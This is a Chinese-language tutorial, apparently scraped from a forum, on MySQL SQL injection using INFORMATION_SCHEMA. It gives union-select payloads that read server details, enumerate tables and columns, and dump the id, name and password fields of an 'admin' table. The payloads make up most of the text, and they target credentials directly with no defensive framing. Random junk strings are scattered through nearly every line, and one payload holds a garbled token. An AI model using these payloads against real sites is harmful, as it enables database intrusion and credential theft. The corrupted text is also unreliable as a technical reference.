本文介绍MYSQL盲注的一些语句和方法
) w& R* ^+ u9 q$ @5 i
: I6 n0 f/ g- B; M/ \& Y8 ?学习盲注前先了解下 IFORMATION_SCHEMA 库
) X& B& w% L. o0 A9 I5 I6 g& H3 A$ \
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有) n0 d0 e, c3 x, X
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
5 {% S$ C4 W2 t9 I9 t1.得到所有数据库名:1 K3 X: l: p1 G/ W! k2 k
|SCHEMATA ->存储数据库名的表
' T# O" t# i! A2 T|---字段:SCHEMA_NAME ->数据库名称' G i& i4 K. x8 E
! `' f* w, { J& U
|TABLES ->存储表名8 o3 M- Y: ?# I% ^& }" ~
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名, J3 Q/ ~' \- _6 {
|---字段:TABLE_NAME ->存储表的表名2 k& [- M+ ^5 R1 T
, x9 R! s* z/ z5 h, U2 R* N) j|COLUMNS ->存储的字段名表
3 F" A' G; w! L6 t|---字段:TABLE_SCHEMA ->该字段所属数据库名) B/ k+ k& ^. Q$ S K+ \, {
|---字段:TABLE_NAME ->存储所属表的名称
T0 X, l$ s7 h- c2 y8 `: V! v* t" T2 x4 N; g$ a& M* E" N
|---字段:COLUMN_NAME ->该字段的名称) O& m& D, z% T# h* o" H8 s
5 a4 t) _2 w/ N% F) M $ Y" F* n1 _! f% t! e
+ D7 A5 W" h; k$ k###########################################################################0 v7 l8 [( @! a, A. z7 l' D+ x
9 w' t6 Q* \' _0 c, S" g0x001 获取系统信息:& z) M$ ^( j8 J; J3 t/ Y
7 t$ g/ ~* H4 y2 [" I
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
+ R4 c' d8 O' {+ N7 H+ X( W" o8 u" F+ h+ ?4 E* x0 w7 w
/*9 a" S1 T* t+ q" y; W! s& X
. J* O7 x9 R% w/ x* p5 N
@@global.version_compile_os 获取系统版本$ d8 [9 g8 Y" u$ V* a7 _. O; O8 H
# x! z [* x& ?& f) k: G@@datadir 数据库路径* ^) W# }( B1 @0 Y o, p
database() 当前数据库名称
5 M0 A) D! J2 J) y$ ], n8 X8 Q) e0x3c62723e 换行HEX值
5 C6 D# x+ r* R. X1 _' o' |( R% l
# F" n7 X0 E. w: W*/
5 r% J/ f8 }; F0 P% Q2 h7 f$ W6 }; V& B, q! e: B
7 }$ R2 k- E- C% F' b; }+ ]
. E' e( S6 b4 u( f% o6 r8 O
######################################################################* i- ~' S$ Y7 D. [& ^5 E6 N# ]; U# s
) m# Y- @( z3 ^- F0x002 获取表名
3 O$ z. \. U/ `2 a5 [
, U# z W/ O2 L) p( kunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*& h7 F# {* f" j! C0 E/ u
0 a; ? i4 o2 y2 p 1 ]* Y+ T0 Y0 L& U! L8 E1 T
b3 ~6 E$ k5 p3 U- K; Q* r+ E/*3 v, O; ]8 p8 i9 [# @! ^
$ \; k. C3 W( s0x67617264656e 为当前数据库名
+ t- h5 a* |- K/ S/ `: Q6 U1 X5 V" E; v4 w6 Z
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名$ h/ n( | S& F2 M. p) B
& o' n, J4 x/ z; B# ?( r8 U, |*/
& Y9 V( d4 m7 I; c3 Y
! j/ w, J# }- K# G######################################################################
) f% a+ ?/ y, i$ x) G# Y5 T* v2 _6 u$ z/ v A" B- [7 l. i
7 e$ c ~) R. c) ^5 B: w% V" x
. D7 S6 Q$ m- Z$ ~0 @6 m* y' ^0x003 获取字段
- O }& O8 X$ d& j# b6 r7 U" |& M
union select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*
! P6 e3 j( M h* a# m4 j b
4 z1 f" l5 C$ J7 ]$ e* v) y/*
6 o# i- t: w1 n l8 s% _. f& o) d4 c) v
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段0 T' g" \( S3 ?/ d8 [# N
8 l7 l; D9 b7 j8 A2 D0x61646d696e ->选择一个表
6 z8 o/ T, E, f' C$ q8 s, a. z
* T. I/ R& Z# G. T0x67617264656e ->数据库名
: T5 g& T0 ^; `* |. S& P
. W5 }8 ^% @0 {0 [. ?. j*/
* h3 z E8 B2 |; C! r, P7 Q2 O4 g/ B; q, T j
#####################################################################/ M& j) q- C6 I6 Y5 t; H
0 ]; c3 E6 [% w+ Y
3 ~' \4 U8 N, t( z3 E8 W- p1 F! Q
) V3 |% V3 V8 j$ p! x' O0 N0x004 获取数据
0 n" z6 I( S. \8 C3 n; i; U! i3 \
! T7 G! Z0 R7 t. @: A' Yunion select 1,2,3
0 Z: A, [: z( o7 p,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
/ T6 g8 ~9 \. C, Z9 a! G2 Y- S! w8 t. M2 v, M/ p
union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin% y* q% @0 w4 z7 y1 k; u: R. Z5 t
8 B" y/ A& t8 c' C Y5 U0 c9 F7 d( t$ f
9 p; A7 r+ N+ Z' i. Y6 d) X/*+ F# L% W4 W: i! O3 M
# ?% O, I. A$ v5 n9 u0x3c62723e 换行符号HEX编码
3 X5 z+ ~( ]! \+ s& f# c1 y' |+ S9 I! c( s+ v- W& i P; Q3 A
group_concat 同时获得该字段所有数据
, }1 L$ z, X" B; N% t
4 A, l6 i% t4 K3 ]" `*/
; U2 v5 F; o& D- `; |8 E8 k
7 w' @' |7 T, A: C! V2 R |